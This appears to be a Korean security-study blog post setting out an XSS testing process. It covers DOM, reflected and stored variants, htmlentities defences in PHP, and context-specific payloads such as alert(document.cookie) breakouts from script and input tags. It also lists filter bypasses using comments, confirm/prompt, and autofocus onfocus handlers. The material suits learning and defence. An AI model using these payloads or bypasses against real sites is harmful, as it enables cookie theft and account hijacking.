📠 Secure

XSS 공격 프로세스

공격 대상 탐색

<, >, ", document.cookie, <script>

ex) <b> hello world </b>

글 작성 시 스크립트 동작이 되지 않더라도, 다른 페이지를 통해서 확인을 해야한다

공격 기법 파악

DOM based : 사용자 입력값이 리스폰이 되는 코드에 나오지 않는다

Reflected Based : 사용자 입력값이 리스폰이 되는 코드에 함께 포함된다

Stored based : 출력 포지션 및 인코딩 위치 파악, 데이터 베이스에 저장돼있는걸 불러온다

공격 시도

XSS 공격 기반으로 시나리오 작성

<script>alert(document.cookie)</script>

DOM Based 공격에 사용되는 구문

document.write()

document.writeln()

document.URL

Element.innerHTML

Stored에서 출력 포지션 파악

전위 처리방식 vs 후위 처리방식

title ( 전위 처리 방식 ) , content ( 후위 처리 방식)

(사용자) → 사용자 입력값 → html → insert → DATABASE

전위 처리 : INSERT가 되기 전에 HTMLentities 인코딩을 통해서 스크립트 방지

타이틀 같이 다양한 root에서 볼 수 있을 때 전처리가 맞다

( ex - home에서 볼 수 있는 타이틀, board에서 볼 수 있는 타이틀)

# action.php
$content = htmlentities($db_conn->real_escape_string($_POST["content"]));

(사용자) → 사용자 입력값 → html → insert → DATABASE = SELECT html entities

후위 처리 : SELECT가 되기 전에 HTMLentities 인코딩을 통해서 스크립트 방지

컨텐츠 같이 root가 다양한데 결과적으로 한페이지에 보일 때 후처리가 맞다

# view.php
<td><?=htmlentities($row["content"])?></td>

공격 가능 여부 파악

공격 가능 여부는 신속하게 파악해야한다

공격 성공 유무를 결정한다

<script>alert(document.cookie)</script> # -> o 끝 

<script>alert(document.cookie)</script>

안될 때

수정 페이지 이용 , Stored based 기준으로 출력 포지션에 따라서 가능 여부도 판단

형태 분석

1.<body> 태그 안에 들어갈 경우

<body> [이곳에 스크립트를 입력] </body>

> 꺽쇠문자(<,>) 사용이 반드시 필요하다

<b> 태그를 넣어서 볼드체가 나오면 꺽쇠 사용 가능

2.<script> 태그 안에 들어갈 경우

스크립트 = " alert(document.cookie); //

<script> var keyword = " " alert(document.cookie); // "; </script>
<script> var keyword = "</script><script>alert(document.cookie)//"; </script>

쌍 따옴표(") 사용이 반드시 필요하다

3. <input> 태그 안에 들어갈 경우

스크립트 = ><script> alert(document.cookie) </script>

<input type="text" name="keyword" value="><script>alert(document.cookie)</script>">

꺽쇠문자(<,>), 쌍따옴표(") 반드시 필요

1번의 경우 <b> 태그를 넣어서 볼드체가 나오면 꺽쇠 사용 가능

<b>test</b> --> 공격이 될 수 없다

2번의 경우 test " test 를 넣어서 공격 가능 여부를 파악한다

스크립트 안에서 " 문자가 아니라 &qout 로 나오면 공격이 될 수 없다

DOM Based에서 꺽새(<, >)를 사용하지 못할 경우

location.href 기능을 사용할 때만 사용 가능한 # --> GET으로 전송 할 때

주소index.php#?var1=test1&var2=test2

http://192.168.0.200/xss/example3.php?keyword=<img src=x onerror=alert('test')>

http://192.168.0.200/xss/example3.php#keyword=<img src=x onerror=alert('test')>

검증 로직 분석

htmlentities() 함수를 이용한 검증 로직

사용자 입력값

1. 검증 로직이 존재

1-1 HTML tag 사용이 가능한

- 화이트 리스트를 사용한다

- 블랙 리스트를 사용한다

1-2 HTML tag 사용이 불가능

- HTML entity encoding

2. 검증 로직이 존재하지 않음

> 끝

화이트 리스트와 블랙 리스트 판별

블랙 리스트 : 특정 패턴만 제외하고 나머지 ALL 허용

화이트 리스트 : 특정 패턴만 허용하고 나머지 ALL 거부

<b>,<h1> ... 여러가지 간단한 태그들은 전부 인용해본다

<test> 이렇게 사용해 본다 = <test> : htmlentity encoding

<test> 태그를 사용했을 때 성공한다 : 공격 가능성이 충분히 존재

te''st 사용해 본다 : te"st : htmlentity encoding

te''st가 정상적으로 출력이 되면 스크립트 태그 내에서 우회 공격이 가능하다

리스폰값에서[<, >, "]기호들이 [> / < / &quot] 값으로 표현이 되면

htmlentitiy encoding 이 되어있다 > 공격 실패

주석/개행/공백 등을 활용한 우회

ex) alert(document.cookie)이 문자열을 필터링

alert/**/(document.cookie)

alert(document/**/.cookie)

alert(document/**/./**/cookie)

alert(docu/**/ment.cookie) > 안됨

1
<b>test</b>

2
<script>alert(document.cookie)</script>

alert이 막혀있는지 script가 막혀있는지 모르기 때문에

<b>alert(document.cookie)</b> 를 확인했을때 사용 가능

alert 대체 가능 문구

confirm , prompt

3
<input type="text" name="keyword" value="값">

<input type="text" name="keyword" value=" " <script> alert (document.cookie)</script">

input태그에 내가 XSS 공격을 하려면 ", <, > 사용이 가능해야 한다

<input type="text" name="keyword" value="><script>alert(document.cookie)</script>">

- HTML entitiy encoding 돼 있는 것

onfocus 이벤트 핸들러를 사용하면 HTML entities encoding을 회피할 수 있다.

onFocus : 커서가 위치할 때 발생하는 이벤트

" autofocus onfocus="alert(document.cookie)

저작자표시 비영리 동일조건

'📠 Secure' 카테고리의 다른 글

SESSION High jacking (0)	2022.07.14
XSS 우회 공격 (0)	2022.07.14
XSS - Cross Site Script (0)	2022.07.12
Secure coding (0)	2022.07.12
SQL Injection 실습 (0)	2022.07.08

Contents

새소식

인기 검색어

XSS 공격 프로세스

'📠 Secure' 카테고리의 다른 글

당신이 좋아할만한 콘텐츠

티스토리툴바